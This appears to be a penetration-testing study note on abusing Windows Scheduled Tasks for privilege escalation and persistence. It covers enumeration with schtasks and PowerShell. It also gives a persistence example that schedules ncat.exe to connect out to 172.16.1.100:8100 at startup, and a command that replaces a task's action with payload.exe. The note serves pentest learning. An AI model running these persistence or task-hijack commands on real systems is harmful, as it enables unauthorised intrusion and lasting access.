Table of Contents


Summery

Windows uses the Task Scheduler to execute various automated tasks, such as clean-up activities or update management. On Windows, they are called Scheduled Tasks, or Tasks, and are defined with one or more triggers. A trigger is used as a condition, causing one or more actions to be executed when met. For example, a trigger can be set to a specific time and date, at startup, at log on, or on a Windows event. An action specifies which program or script to execute.

For us, three pieces of information are vital to obtain from a scheduled task to identify possible privilege escalation vectors:

  1. As which user account (principal) does this task get executed?
  2. What triggers are specified for the task?
  3. What actions are executed when one or more of these triggers are met?

The first question helps us understand if abusing the task will eventually lead to privilege escalation. If the task is executed in the context of our current user, it won’t lead us to elevated privileges. However, if the task runs as NT AUTHORITY\SYSTEM or as an administrative user, then a successful attack could lead us to privilege escalation.

The second question is important because if the trigger condition was met in the past, the task will not run again in the future and therefore, is not a viable target for us. Additionally, if we are in a week-long penetration test, but the task runs after this time, we should search for another privilege escalation vector. However, we would mention this finding in a penetration testing report for a client.

Rhe third question determines how we can perform the potential privilege escalation. In the majority of cases, we can leverage familiar tactics such as replacing the binary or placing a missing DLL as we did with services in a previous Learning Unit. While we don’t have a service binary with scheduled tasks, we have programs and scripts specified by actions.

We can view scheduled tasks with CMD’s schtasks /query /fo LIST /v or PS’s Get-ScheduledTask | Format-List *. SCHTASKS /Query /V /FO list should also work.

Once one of those commands is executed, we get a huge amount of output with information about all scheduled tasks on the system. We should seek interesting information in the Author, TaskName, Task To Run, Run As User, and Next Run Time fields. In our case, “interesting” means that the information partially or completely answers one of the three questions above.

To filter some of the default looking tasks, you can Search for custom scheduled tasks.

Tips

From some of my testing, you can run Get-ScheduledTask | Where-Object { $_.Author -and $_.Author -notmatch "Microsoft" -and $_.Author -notmatch "^\$\(@" } | Format-List * to look for more custom tasks, beware as you exclude a lot of tasks that way that look build-in. I don’t guarantee that you don’t exclude any vulnerable one’s using this code!

Get-ScheduledTask doesn’t show as much data as schtasks so if you see something interesting with the previous custom command you can take the task’s URI and use this one to get more details schtasks /query /tn "<URI>" /fo LIST /v.

Task creation

Creating a new scheduled task is pretty straightforward. At a minimum, we must specify the following:

  • /create : to tell it what we are doing
  • /sc : we must set a schedule
  • /tn : we must set the name
  • /tr : we must give it an action to take

Example: schtasks /create /sc ONSTART /tn "My Secret Task" /tr "C:\Users\Victim\AppData\Local\ncat.exe 172.16.1.100 8100"
This can be useful for persistance.

Task edition

To get a hint if you can edit a given task run icacls icacls "C:\Windows\System32\Tasks\Test". The last part is the task’s name (This doesn’t 100% confirm you can in fact edit it).
If you have permissiosn to do so, you can edit a task with schtasks /change /tn "TaskName" /tr "C:\Temp\payload.exe".